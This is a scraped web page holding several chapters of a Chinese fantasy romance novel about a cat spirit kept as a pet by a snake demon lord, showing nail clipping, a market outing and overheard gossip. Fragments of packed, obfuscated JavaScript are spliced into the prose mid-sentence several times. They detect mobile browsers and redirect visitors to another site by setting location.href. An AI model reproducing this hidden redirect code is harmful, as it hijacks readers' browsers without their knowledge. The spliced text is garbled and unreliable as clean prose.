RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004154|193991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>晏岐今晚却没有要运功调息的打算。 男人于几案前坐下,顺手拿过摆放在几案上的一本卷轴似的东西,便懒洋洋地侧倚着身子,就这样翻阅了起来。 猫其实也想要看。 臭蛇,大晚上的不睡觉,又搁这儿偷偷卷她! 可是猫又看不懂,难道要硬凑过去看天书吗? 猫很惆怅。 但猫很快就发现了比卷轴更让猫感兴趣的东西。 圆溜溜的鸳鸯眼很是灵动地转了一圈,小白猫慢吞吞地挪动着脑袋,视线迅速锁定了正在翻阅卷轴的晏岐——身后的尾巴。 或许是妖的天性,坐或者躺着的时候,晏岐都很喜欢幻化出一半妖形。 硕大粗长的蛇尾自然而然地放出,慵懒地盘踞在男人身侧,泛着幽绿色反光的尾尖不时还会无意识地在半空中轻晃。 这还是蛇尾吗? 非也非也。 这分明就是纯天然、无污染、无添加的最佳天选逗猫棒! 哎呀呀,猫之前怎么就没发现还有这种好东西呢? 虞窈顿时就匍匐着身体,耳朵跟着下压,毛绒绒的小猫脑袋也压低搭在了前爪上面,把自己的存在感降到了最低。 两只爪爪同时小幅度地在原地来回跺着,全神贯注地盯紧了那一抹绿色的尾巴尖不放。 是灵猫一族很标准的捕猎姿势。 然后,一号小猫咪选手骤然化身成一道白色闪电,以迅雷不及掩耳之势急速接近了目标。 蹦、跳、扑—— 每个姿势都十分标准,没有丝毫的拖泥带水。 如果小猫咪选手没有刚好从蛇的尾巴尖边上擦尾而过的话,那么就可以给到小猫咪选手完美的十分了。 第一次遗憾扑空,猫没有灰心,很快就重新调整好了姿势,准备第二次扑咬。 第二次,爪子只碰到了一点点的尾巴尖,跟碰瓷没什么区别。 第三次,尾巴尖扫过了猫的脸颊,还挑逗似的轻勾了下猫的下巴。 如此反复几次,虞窈终于意识到似乎有哪里不太对劲。 小白猫昂起头来。 ——只见这会儿本该在翻阅卷轴的晏岐,视线已经从卷轴上移了开来。 他姿态慵懒地倾身侧倚着几案,湿润的长发如小蛇一般凌乱地垂落在了地毯上。 那双狭长多情的墨绿色竖瞳居高临下地微微弯起,眼下的红痣妖异非常。 男人一手拿着卷轴,一手支着下颌,手背上脉络清晰的青色血管微微凸起,正歪着头,似笑非笑地打量着她。 也不知保持着这样的姿势,暗自观察了她多久。 暗色长尾缓慢又轻地从小猫咪的头顶上拂过,晏岐轻声问道。 “不玩了吗?” 意识到自己耍蛇不成、反被蛇耍,虞窈气鼓鼓地转身,小短脚猫猫祟祟地就要远离蛇的尾巴。 没意思,还是跟小蝴蝶和小绵羊一起玩得更加开心。 这劳什子逗猫棒,猫不要了。 结果刚溜出去没几步,冰凉的蛇尾就忽地沿着地毯游动过来,无声缠上了小白猫的腰。 身后男人的声线和缓懒倦,靡丽的嗓音里总是有着一种挥之不去的慵懒意:“不打算继续玩本尊的话,就该让本尊玩玩你了。” 猫:“?” 等等等等,这都是些什么污言秽语,猫听着怎么就这么奇怪呢? 小猫咪听不得这些,听不得! 可是,容不得小猫咪反抗。 小白猫被蛇尾不由分说地送到晏岐跟前,一蛇一猫此时离得太近,晏岐刚沐浴完不久,再加上虞窈鼻子又灵,于是无比清晰地闻到了来自晏岐身上好闻的松木冷香。 这味道清冽,却莫名让猫感觉到了浓浓的侵略感,无处遁逃。 玉白修长的手指紧接着探了过来,距离虞窈越来越近、越来越近。 猫下意识地屏住了呼吸,一时间竟都忘记了挣扎。 然后就见晏岐的手指径直握上了自己垂耷在身前的粉色肉垫,不轻不重地合拢一捏。 “啪叽”一下。 爪爪开花。 16.第十六章 晏岐捏倒是捏爽了。 唯一的代价就是,手背上喜提了四道新鲜的抓痕。 长短不一,十分齐整,格外地引人注目。 当然,对于一位有着炼虚期修为的强大蛇妖而言,想要不被自己的妖宠抓伤,其实是一件非常简单的事情。 但,小猫锋利的爪尖挠破皮肤的感觉,与被那些术法亦或是法器洞穿血肉的感受是截然不同的。 不痛,甚至令晏岐有些莫名其妙的......沉溺其中,以及一种油然而生的异样满足感。 他先前就尝过此般甜头,于是也就由着小猫咪去了。 翌日,眼尖的日尧和月女一眼就注意到了这些抓痕。 一蝴蝶一狗想都不用想,就能够猜到昨夜尊上的寝殿里必定发生了一场格外激烈的蛇猫大战。 并且从此时正蜷缩在一旁、闷闷不乐的小狸奴的状态来看,双方应该都没能从对方那里讨到什么好处。 进行完例行汇报,日尧和月女单膝跪在地上,恭恭敬敬地垂着脑袋,等着尊上的下一步指示。 可座上那矜贵的男人许久都没有出声。 暗色蛇尾在地毯上以一种极缓慢的速度游动着,发出了窸窸窣窣的声响,在这座昏暗潮湿的寝殿里,给人的感觉阴森而又怪异。 忽然,一道清冽慵懒的声音落下。 言简意赅的四个字:“如何养猫?” 更准确地说,是如何养一只叛逆、双标,又很脆弱的猫。 诚然,受万妖尊崇的妖尊一开始是对自己的妖宠很不屑一顾的。 但在昨天下午亲眼看见那枚怎么找也找不到的猫猫头,自己就从玉壶春瓶里钻出来与他对视的时候。 这样的一个念头便鬼使神差地从晏岐心底冒了出来。 不过,真要追溯起来的话,其实或许早在那天上午,见到在草地上追逐蝴蝶的小狸奴时,这个心念就隐隐约约地有了苗头,有迹可循了。 只是那时的晏岐还抓不住。 如果尊上的问题是,一百种杀人于无形的方法,又或者是一千种叫人痛不欲生的审讯折磨手段。 那么日尧和月女或许可以滔滔不绝,甚至当场给尊上编撰出一本审讯杀人心得书来。 但尊上的这个问题显然已经完全超出了他们现有的知识范围。 他们也是养猫白痴,不是养猫大师啊喂。 于是只能回禀尊上一句:“不如尊上把柳幸召来,问问柳幸好了?” “柳幸?” “没错,尊上可还记得,属下曾经提到过,柳幸的妖宠也是一只猫?”月女道。 “那猫在柳幸身边已经待了好几个年头,长得也......”月女短暂地卡顿一秒,“也十分健康,想必柳幸是很有养猫这方面的经验的。” 柳幸刚被传召来妖殿的时候,其实是有点受宠若惊、又忐忑不安的。 柳幸是一只柳树妖,实力排在下卫末位,一年半载连尊上的面都很难见上一次。 更何况是被尊上主动传召呢? 但在听到尊上的问题后,柳幸明显懵了。 啥玩意儿?是他耳朵坏了还是尊上被夺舍了? 尊上居然问他要养、养猫指南? 不过当柳幸余光瞥见尊上手背上的那几道抓痕,以及不远处那只正在悠闲地给自己舔毛毛的小狸奴后,又觉得一切似乎都变得合理了起来。 早就听说尊上的妖宠近来在作威作福,就差直接骑到尊上的头上去。 从现在的情况来看,这些传闻居然都是真的。 幸好幸好。 柳幸的妖术其实并不适合战斗,他的综合实力也不强,不然排名也不会一直处于下卫末位。 如果尊上是要他去执行什么高难度的任务的话,于他而言恐怕会有些棘手。 但尊上问的是和养猫相关的知识,那可就精准踩中他的舒适区了。 锵锵锵锵,养猫小课堂开课啦。 养猫指南第一条。 柳幸:“尊上,您可以先为您的妖宠起个名字。” 晏岐:“名字?” “没错,”柳幸说,“开了智的妖宠是能够听懂自己的名字的,您若是为她起了名,妖宠就能知道您是在叫她,从而回应您。” 就好比他刚把自家妖宠拐回妖界的第一件事,就是为它取了一个响当当的名字。 叫做——大橘大利。 听听,多么贴切,多么高端,多么霸气! “而且,妖宠一旦有了名字,也就意味着与您有了羁绊,是真正属于您的妖宠了。” 不远处的虞窈一边懒洋洋地舔着肉垫,一边悄咪咪赞同地点了点小脑袋。 柳幸其实说的没错,不管是妖还是妖宠,名字都是十分重要的东西。 但她有自己的名字啦,还是娘亲为她取的。 她很喜欢,也不可能会接受晏岐这条臭蛇给自己取别的名字。 却听晏岐淡声道:“本尊早就为她起过名字了。” 狗:有吗? 蝴蝶:什么时候的事? 猫:我自己怎么都不知道? 柳幸显然也很意外:“噢?是吗?那敢问尊上为自己的爱宠起了什么名字?” 晏岐:“猫。” 柳幸:“......” 柳幸有些怀疑是自己听错了,还是说,是他自己方才问错了? 他记得他问的是妖宠的名字没错,而不是妖宠的品种啊。 柳幸硬着头皮提醒:“尊上,是......您妖宠的名字,而不是种类。” 座上的晏岐投下冷淡的一眼,带着阴寒的气息:“名字,就叫‘猫’,不可以?” 猫:神金。 蝴蝶:可以可以,您是尊上,想怎么样都可以。 狗:真不愧是尊上!给妖宠起的名字都是这么与众不同,清尘脱俗,一目了然,放眼整个三界,谁能给自己的妖宠起这么完美的名字?尊上,狗要永远追随您汪汪汪...... 柳幸抬起手,擦了擦额角并不存在的冷汗。 “既为尊上您的妖宠,自是尊上想取什么样的名字都可以。” 养猫指南第二条。 柳幸:“尊上,您可以为您的妖宠剪剪指甲,这样她与您玩闹的时候,就没有那么容易抓伤您了。” 晏岐倨傲地抬抬下巴,意味不明地半眯起眼睛:“难怪本尊见你的手背上没有抓痕。” “本尊还以为,是你的妖宠不喜欢你。” 蝴蝶:......(蝴蝶其实是没话说了) 猫:不是,堂堂妖尊被猫抓难道是什么很值得骄傲的事情吗? 狗:休得胡言,这明明就是尊上受伤的勋章!战斗的痕迹!养宠的荣耀! 柳幸干笑两声,选择性地忽略了晏岐的话。 “当然,尊上您还可以剃一剃您妖宠爪垫上多余的绒毛,这样可以保护您的妖宠,在日常嬉戏玩闹的过程中不容易打滑受伤。” 这一条指南内容终于令晏岐扬了扬眉梢,像是有了点兴趣。 他记得,昨夜把小狸奴的肉垫捏在手里把玩的时候,肉垫的缝隙间的的确确是有一小簇不起眼的毛发的。 晏岐的视线慢慢落在了不远处的小白猫身上。 察觉到那道冰冷淡漠的目光,虞窈:“......” 白色大鸡腿舔爪爪的动作一顿。 不好! 猫几乎是想也不想就从地上弹跳而起,屁颠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17010644|193991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屁颠地转身要逃。 结果还没跑出两步远,就情景重现,被墨绿色的妖息包裹住了软乎乎的身体,无处遁逃。 可以剃毛和剪指甲的工具很快就被妖仆送了上来。 看着那状若老虎钳一样的冰冷器具朝着自己逐渐靠近,小白猫扯着嗓子宁死不屈。 想给猫剪指甲剃毛?门都没有!想都别想! 小白猫不禁在晏岐的怀里剧烈挣扎起来,小小的身躯在顷刻间爆发出了强大的力量。 这会儿简直比过年的猪还要难按。 晏岐垂眸睨着怀里的小猪猫,竖瞳半眯,难得没有用任何术法,只是很轻地歪了下头。 片刻后,忽而看向某个方向出声:“高央?” 小白猫立时竖起双耳。 嗯?小绵羊来了? 小绵羊救猫! 虞窈像是终于等到了救星一般,充满希冀地顺着晏岐视线的方向看去。 然而,拱门那处却空无一妖。 与此同时,耳边响起了一声十分清脆的“咔嚓”。 还伴随着一根尖锐的透明指甲落地。 后知后觉地意识到自己被骗了的虞窈:“?” 她不可置信地转过头来,瞪圆了的猫猫眼盯向晏岐。 要不要脸? 你居然用这么低劣的手段骗一只小猫! 晏岐却视若无睹地重新看向柳幸,懒声问道:“是这样吗?” 柳幸为自家尊上无师自通的“诱骗术”惊讶了片刻。 真不愧是尊上,自己都还没有教他呢,居然就自行领悟了如何让猫配合剪指甲的最高一级邪招,真是孺子可教! 柳幸激动地连连点头:“没错没错,就是这样,就是这样。” 猫才不管他这样那样,瞬间就炸毛成了小蒲公英,恶狠狠地朝晏岐龇了龇牙。 正打算给晏岐一个教训,小小的猫嘴巴才刚张开,要朝着晏岐的手背上咬去。 玉白修长的手指忽而捻起桌边一块软糯香甜的绿豆糕,防不胜防地送进了猫的嘴里。 糕点的清香很快在唇齿间蔓延开来,小猫咪肉眼可见地怔愣住了,凶巴巴的小猫相也迅速变得茫然无措了起来。 眨眨眼,小狸奴逐渐收起了尖牙,慢吞吞地咂巴咂巴着嘴,像是在纠结。 唔,是该先咬蛇呢,还是该先吃绿豆糕呢? 猫还没有纠结完,又是一声极其清脆的“咔嚓”。 ——又一根爪爪上的指甲被剪,虞窈垮起个小猫批脸,立时再度炸毛。 骗猫骗上瘾了是不是?不行,猫今天非要让晏岐这条臭蛇长长教训,把他的手背咬出两个血洞来不可! 结果刚一张口,又是一枚肉香四溢的八宝圆子递进嘴里。 小蒲公英瞬间就变回了柔顺的猫猫球,下意识地嚼嚼嚼。 同时梅开三度,“咔嚓咔嚓——” 虞窈:你他&l#k%*@...... 净会使这些下三滥的手段,猫咬死你个小......啊不,老登西! 然后,八宝圆子就变成了香喷喷的鸡腿肉。 虞窈:“......” 算了。 猫嚼嚼嚼嚼。 吃完了鸡腿肉,指甲也剪得差不多了。 小白猫“猫生无望”地摊开四条腿腿,俨然一副放弃了挣扎的样子。 只不过,指甲剪都被剪完了,就这么算了的话,那猫也太吃亏了。 猫于是咽下嘴里最后的一点鸡腿肉,随即抬头看向晏岐。 圆溜溜的鸳鸯眼在日光的照射下映出了极为漂亮的颜色。 小白猫眨了眨眼,像是在说。 猫吃完了。 还有吗? 17.第十七章 十分“顺利”地给猫剪完指甲、剃完毛,柳幸又传授了一些别的养猫指南。 比如要给猫留一点独自生活的空间啦; 不要强迫猫做不喜欢的事情啦; 也可以让猫和别的猫猫交点朋友啦; 对于精力格外旺盛的猫,也可以带出去遛一遛啦......等等等等。 每一条都听得晏岐眉心微蹙。 只有最后一条,倒是可以稍微采纳一下。 毕竟,小狸奴整日不是在妖殿里搞破坏,就是到处晒太阳、睡大觉。 猫不需要送去学堂上课、也不用出去杀人打架,的确是存着一身的精力没处使,有空的时候,带出妖殿溜溜也无妨。 听到能够出去溜达转转,虞窈欣喜若狂。 就连晏岐把妖息当成了“牵引绳”,墨绿色的妖息化作一条绿色绸带,系在了她的脖颈与晏岐的指节之间这回事,都表现得没有那么抗拒了。 猫甚至还伸着肉垫指挥蛇半晌,然后把绸带弄成了蝴蝶结的样式。 系着蝴蝶结的猫昂首挺胸。 猫,漂亮! 灵猫大妖先前不受妖尊管辖,长年在凡界游荡、四海为家。 莫名其妙变成晏岐的妖宠之后,也一直受结界所困,从没离开过妖殿半步。 这还是她第一次见到妖界的真正全貌。 真要说起来的话,妖界和人间其实也没有什么大的区别。 街道上四处可见红瓦砖房,商贩卖力地吆喝着,偶尔还有一两辆马车经过,人来人往,热闹非常。 猫盯着渐行渐远的马车,又支起脑袋看向晏岐:O.o。 意思很明显了。 猫怎么没有马车坐?你不是妖界尊主吗,连辆马车都买不起? 晏岐倒也真的看懂了猫的意思,把猫往怀里抱了抱,温声:“下次。” “不是说要出来走走?坐马车的话,就不算溜达了。” 喔,好像是有点道理。 猫把脑袋缩了回去。 全然忘记了,于猫而言,被晏岐抱在怀里走,好像也不算溜达。 再说回妖界和人间。 猫认认真真地瞅了半晌,觉得两者唯一的区别就是,走在街上的都是些身形各异的妖兽,而不是人罢了。 妖界里的妖通常都更喜欢幻化出自己的部分妖形,而不是完全化的人形或者妖兽模样。 就连晏岐,平日里也喜欢动不动就把自己的蛇尾放出来,更不用说这些小妖了。 于是窝在晏岐怀里的虞窈就眼睁睁地看见了。 有着三个脑袋、体型足足有寻常妖兽两个大的犀牛妖,伸着六条细得跟竹竿似的腿的螳螂兽,还有个子矮小、灵活穿梭在群妖之间的松鼠妖...... 一一从他们身边路过。 相比较下来,晏岐这一行妖走在街市上,居然更像凡人一点。 寻常小妖当然是没有资格窥见晏岐蛇尊的真容的。 但倘若那象征着蛇尊真身的暗色蛇尾被堂而皇之地放出来,展现在众妖眼前,晏岐的身份自然也就不言而喻。 为了避免出现不必要的麻烦,因而晏岐并没有变出一半蛇身,而是着一袭青衣,一手摇着折扇,一手抱猫,余日尧和月女跟在他身侧。 一蝴蝶一狗也褪去了往日里披在身上的宽大斗篷,以面纱与斗笠代之。 身为晏岐的暗卫,蝴蝶和狗平时并没有来妖界闲逛的机会。 如果蝴蝶和狗哪天出现在了这种地方,那么只会有一种可能,那就是——有妖的项上人头不保。 这算得上是日尧和月女第一次正儿八经地以“逛街”的名义出现在妖界,自然是对所有事物都感到新鲜与好奇的。 在看出晏岐没有要约束他们的打算后,便大着胆子四处看、四处瞧。 狗眼尖地注意到路边有一家饰品摊铺,顺手拿起摊上的一支蝴蝶玉钗。 “喂,月......蝴蝶,你看这钗子好不好看?” 只见他手里的蝴蝶玉钗色泽莹润,玉钗一端交叠着两只振翅欲飞的蓝色蝴蝶,看起来活灵活现、栩栩如生。 令人眼前一亮的同时,想必同样也价值不菲。 蝴蝶只投来匆匆一眼,便不感兴趣地别过头去:“没钱,用不上,不买。” 当然了,爱美之心人皆有之,月女也不例外。 只是,身为晏岐的暗卫,月女平时哪有机会戴这样的玉钗。 就算花钱买了回去,想必也逃不过在首饰匣里落灰的命运。 狗霎时涨红了脸,耳根也在一瞬间变得通红。 他别扭地大声道:“谁说要你自己出灵石了!我给你买。” “真哒?”蝴蝶这才两眼放光地重新看过来,喜笑颜开地凑到狗身边。 “好看好看,我要我要,你买你买。” 心满意足地收获了三支簪子、两根玉钗、一对朱红耳环以及五盒胭脂,蝴蝶和狗重新回到了晏岐身边。 晏岐对二人溜跑出去的行为不置一词,只是睨一眼日尧,淡声问。 “你的灵石呢?” 日尧有些窘迫地低下头来,如实禀告道:“公子,都、都没了。” 不等晏岐开口,一旁的月女先是诧异地睁圆了双眼。 “啊?这就没啦?” 她和日尧同为暗卫,平时又没有什么需要花灵石的地方,所以,她大概知道日尧究竟是有多少家当的。 怎么光给她买了点饰物,就全部都给花没了? 不应该啊。 日尧支支吾吾:“储物袋里没放多少,大多数灵石都囤放在别处了。” 月女不解地歪歪脑袋:“好端端的,你囤那么多灵石干嘛?” 妖殿里什么都不缺,要什么都有,根本就没有需要用灵石的地方呀。 却见日尧黝黑的脸涨得更红,都快要变成熟透的虾了:“要、要你管啊!” 月女倒也不在意,只是作势要去翻自己的储物袋:“那我还是把刚刚的灵石还你好了。” 日尧想也不想就拧着眉拒绝:“不要。” 给蝴蝶买东西,他乐意,就算把所有灵石都花光了也没关系。 毕竟,他知道的。 蝴蝶一直都很喜欢那些亮晶晶又花里胡哨的小玩意儿,只是碍于暗卫的身份,所以不能轻言喜欢,更没有买的必要。 可狗希望蝴蝶高兴。 就像现在这样,蝴蝶戴着精致的蝴蝶玉钗,迫不及待地凑到了小白猫跟前。 “怎么样小白,我戴这个好看不好看?” 猫很给面子地晃晃蓬松的大尾巴,扯着嗓子:“喵呜~” 好看! 漂亮的小蝴蝶就应该戴漂亮的蝴蝶钗。 月女嘿嘿一笑,抬头看向尊主,脸上的笑意自觉收敛了几分。 嗯, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014963|193991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算了,尊上就没必要问了,蝴蝶不像狗,还是有眼力见的。 就不自讨没趣了。 这一趟出来,除了月女以外,小白猫同样收获颇丰。 新鲜出炉的豆沙麻圆,猫得到! 香气四溢的驴肉火烧,猫得到! 软烂耙糊的卤牛腱肉,猫依然得到! 裹满糖衣的冰糖葫芦,猫还是得到! 在妖殿里整天吃的都是些美味佳肴,偶尔尝尝这些民间小食也挺好。 只是,吃得忘乎所以的猫的嘴角不可避免地粘上了点卤汁和冰糖,嘴角边也弄脏了一小撮绒毛。 晏岐抬起指腹,要把猫嘴角的那点污渍擦掉。 没等碰到猫的脸颊,软乎乎的肉垫就抵在了晏岐的手背上。 猫的眼神充满警惕:干嘛? “嘴角脏了,”晏岐淡声说道,“脏兮兮的,不成体统。” 闻言,小白猫肉眼可见地变得不满起来。 整天体统来体统去,哪里来的那么多规矩啊。 婉拒了哈。 却听晏岐不紧不慢地继续说道:“若不擦掉,今后就不带你出来玩了。” 虞窈:啧,又威胁猫? 不过,在晏岐第二次将手指探过来的时候,虞窈没有再拒绝。 试问,谁会给谁擦嘴角? 没错,只有仆人才会用巾帕给自家主子擦! 既然晏岐这么上赶着想要当她的仆从,那就给他当好啦。 猫大方。 才不是因为猫被蛇给威胁到了。 嗯嗯,没错,就是这样。 只不过,微凉的指腹覆在嘴角绒毛上的感觉其实很奇怪。 就算晏岐有意放轻了力道,弄得猫不疼,可依然还是哪儿哪儿都让猫觉得别扭和不自在。 猫难得安静地让蛇擦了一会儿嘴,没多久就有些不耐烦地甩起了尾巴。 还没有擦完吗?怎么这么慢啊。 虞窈忍不住自己伸出粉嫩嫩的小舌头,自顾自的舔了一圈唇周。 没脏东西了呀。 不经意间舔到了晏岐尚抵在她嘴角边上的冰冷指腹,虞窈还催促似的用舌尖抵了抵他。 什么意思,擦干净了还不走?赖在猫嘴边上干嘛?o.0 晏岐依然不为所动。 就在猫忍无可忍、快要发飙之际,晏岐终于撤离了手指。 只是,不知是有意还是无意,男人的长指退到一半,忽而一偏,就这样不偏不倚地撞进了小狸奴的嘴巴里。 冰凉的食指很快就被温暖湿热的口腔包裹了起来。 就算小白猫近来日渐圆润,长了点身体,但光是含着晏岐的一根手指,对猫来说也很是吃力了。 而带着薄茧的指腹之下,是小猫咪的舌头。 又短又软,还覆盖着不起眼的倒刺,轻飘飘舔过手指的时候,很痒。 晏岐神色平静地按了按指腹下那过于柔软的舌尖。 赶在猫怒而咬人之前,又若无其事地把手指抽了出来。 晏岐垂下眼,盯着手指上晶莹的、湿漉漉的小猫口水。 片刻后,又面色自若地把食指重新递回到小猫跟前:“猫,你的东西。” “自己舔掉?” 神金。 虞窈才懒得搭理这条不知道又在抽什么风的臭蛇。 圆滚滚的身体挪了挪,又拿屁股对准了他。 18.第十八章 除了喜欢吃以外,虞窈还是一只对所有事情都充满了好奇的猫。 彼时晏岐一行妖正好端端地在路上走着,猫“歘”地一下就直起身体,粉嫩嫩的肉垫按住了晏岐的肩膀,示意他停下。 “怎么了?”晏岐倒也跟着停驻了脚步,低眸看向怀里的猫。 小白猫松软的大尾巴高高翘起,左右用力拍打着,时不时还打在了晏岐的嘴唇上面,留下几根不起眼的猫毛。 嘘嘘嘘,不准说话。 别打扰猫。 虞窈随即把两只爪爪都搭在了晏岐的一侧肩膀上面,猫猫祟祟地探出了半只小猫脑袋,双耳下压。 努力把自己的存在感降到最低的同时,只留下两只炯炯有神的鸳鸯眼在外面转啊转。 猫的目光迅速锁定了刚刚从他们身边经过的两只花妖—— “诶诶,听说了吗,老鹿家二儿子的小情人昨天找上门来,问他娘子讨要说法。” “两人都以为自己是正宫,结果发现是那二儿子渣,两人二话不说就变回妖形,把二儿子的两根鹿角都给弄断了不说,还让老鹿家断子绝孙了呢。” 听得津津有味的猫两眼放光:蛙趣,这么劲爆! “听说了,听说了。哦对了,前段时间那件贪污案你知道不?据说那妖使才刚上任不足三月,就私吞了三千颗上品灵石,连修筑堤坝的灵石都敢吞,真是掉进钱眼子里不要命了。” “这我哪能不知道唷,前阵子可是闹得沸沸扬扬的。不过话说回来,他不是一共吞了五千颗灵石么,咱俩听到的版本还能不一样?” “那我就不清楚了,反正,听说那妖使的下场挺惨的,皮都被活生生剥了下来,身上没一块好肉,刑场上也血淋淋的,腥臭味熏天,可吓人了。” “就是就是,我听说鸡大娘家的小娃儿见了那场面,回去后都被吓得哭了好几宿呢。不过也是那妖使自己活该啦。” 正义的猫用力拍拍爪垫:就是就是,贪污的妖都不应该有好下场! “话说回来,我上月推给你那偏方,你给你家相公用了没有?” “用是用了,可是...唉,快别提了,还是那样,顶天也就只有三分钟。” “啊?不应该啊,其他的妖用了以后都说好,怎么到你相公这儿就不行了?是不是没用够量?” “当然用够了,就是按照你说的量和次数来服药的。不就是淫羊藿两钱、肉苁蓉两钱、巴戟天......” “刚喝完的时候倒是和我说什么来劲了,这次一定行,结果到真枪实干的时候就又......唉,真是愁死我了。” 疑惑的猫歪歪脑袋:什么三分钟?什么偏方? 一头雾水的猫刚要竖起耳朵继续听,毛茸茸的小猫脑袋就被一只冰凉的大掌无情地给按了回去。 “少听点这种不该听的。”晏岐平和的声音轻飘飘从上方落下。 猫很不服气地在晏岐的手掌心里拱来拱去。 小猫咪怎么就不能够听这些了?猫还没有听完呢! 可当虞窈好不容易才从晏岐的指间缝隙里挤出小猫脑袋的时候,那两只花妖已经渐行渐远,背影消失在来来往往的妖群里了。 完蛋,只听到一半的八卦就好比过期砒霜。 猫气鼓鼓地坐回到了晏岐的小臂上,胡须绷着,小猫脸也瞬间不满意地垮了下来。 蛇果然就是这个世界上最讨厌的种族。 蛇不好蛇不好蛇不好蛇不好...... 不过好在很快,小白猫就又被街边的杂耍给勾走了注意力。 那是一对猴妖和猪妖,两只妖一唱一和地讲着相声的同时,还完成了走钢丝、抛接、顶碗等一系列高难度杂耍。 在猴妖逗得人捧腹大笑的下一秒,猪妖也口喷焰火,喷出来的火焰居然还是花朵形状。 围观的小妖们立刻鼓掌叫好,小白猫也蹲坐在晏岐的手臂上,高高翘起的大尾巴像扫帚掸子似的晃啊晃。 “喵~喵——” 厉害!真棒! 大汗淋漓的猴妖看准时机,拿着笸箩从台上一跃而下。 “各位看得开心,咱兄弟俩也乐得高兴,还望诸位有钱的捧个钱场,没钱的捧个人场。” 在场的小妖们倒也不吝啬,少的就给一两块下品灵石充数,稍稍有钱一些的,也舍得掏一枚中品灵石,乐呵呵地往笸箩里放。 很快到了晏岐这里。 猴妖拿着笸箩,正笑嘻嘻地准备和方才一样,同晏岐说点讨喜的吉祥话。 然而抬头对上那双森冷深邃的幽绿色竖瞳时,却莫名有些心底发毛。 猴妖:“......呃。” 在外摸爬滚打多年的经验告诉他,眼前的这个男人并不是什么好惹的人物。 猴妖踌躇两秒,正打算跳过晏岐,顺延至下一人。 一个不轻不重的力道忽然按住了他的笸箩。 猴妖低头一看,是被男人抱在怀里的猫。 那猫通体雪白,身上的毛发油光水亮,双眸是很漂亮的蓝金异色,一看就知是被男人养得很好。 ......就是有一点胖。 小白猫粉嫩干净的肉垫不由分说地按在他的笸箩上,仿佛在说。 且慢。 然后就见小白猫扭过圆圆的屁股墩,小爪子在旁边戴着斗笠的少年提着的大包小包里挑挑拣拣,最终叼出来了一条比猫还要长的小鱼干,就要往他的笸箩里放。 不白来,都不白来嗷。 灵猫大王看开心了,赏! 猴妖:“......” 蝴蝶狗:“......” 不过就在小鱼干快要从小猫咪的嘴里掉出来的刹那,一只玉白修长的手适时拦在了猴妖的面前。 从小猫咪的嘴里拿走并重新放好小鱼干的同时,一枚亮闪闪的上品灵石“当啷”一声,落进了他的笸箩里。 猴妖顿时诧异得连下巴都快掉下来,低头看向笸箩,傻了眼。 额滴个亲娘嘞,这......这是上品灵石,他没看错吧? 猴妖再度抬头看向那三妖一猫渐行渐远的背影。 乖乖,他的经验果然没错。 这是个得罪不起的大户人家! - 抱着猫远离了人群的喧嚣,晏岐把小白猫柔软的肉垫握在手掌心里,漫不经心地按揉了几下。 月女在一旁瞅着,心里暗自腹诽道。 幸好刚才小白用肉垫碰的是那猴妖的笸箩,而不是猴妖的脸或者肩膀。 否则,按照尊上的一贯作风,猴妖得到的说不定就不是那一块上品灵石,而是极有可能血溅当场。 猫很不满意地把肉垫从晏岐的手心里挣脱了出来,对着晏岐的手腕就是梆梆几下殴打。 而后盘起尾巴,自顾自的开始低头舔爪爪。 晏岐倒也不甚在意,只是又轻轻摸了摸小狸奴的毛发:“本尊给你买的小鱼干说给就给了,就这么大方?” 猫闻言,一时连爪爪都不舔了,十分得意地昂起头来。 那是当然。 只要灵猫大王开心,别说是什么小鱼干了,就算是十万......啊不,一百万颗上品灵石,猫也愿意给哇! 猫,就是这么大方。 骄傲jpg. 晏岐:“既这么慷慨,怎么就只给一条小鱼干,不把日尧提着的那些吃食全部送给人家?” 闻言,猫默默缩回了小猫脑袋,在晏岐的小臂上很是心虚地跺了跺脚。 那不行。 谁让猫真有呢。 一条小鱼干就已经足够了,不可以再觊觎猫的其他吃食。 这不仁道。 头顶上方很快落下一声轻笑。 总觉得臭蛇这是在嘲笑自己,猫刚要凶巴巴地冲他龇一龇牙,就听日尧的声音响起。 “公子,那边好像有卖妖宠穿戴的衣裳,咱们要不要过去瞧瞧?” 近百年来,妖界养妖宠之风盛行,由此也衍生出了许多相关生业。 妖宠服饰铺就是其中之一。 一听要给自己买衣裳穿,虞窈想也不想就把猫猫头摇成了拨浪鼓。 不行不行,猫穿了衣服会很不自在,猫鼠都不会穿—— 可当余光瞥见店铺门口那些仅供展示的漂亮衣服后,猫一下子就被吸引得走不动道了。 穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 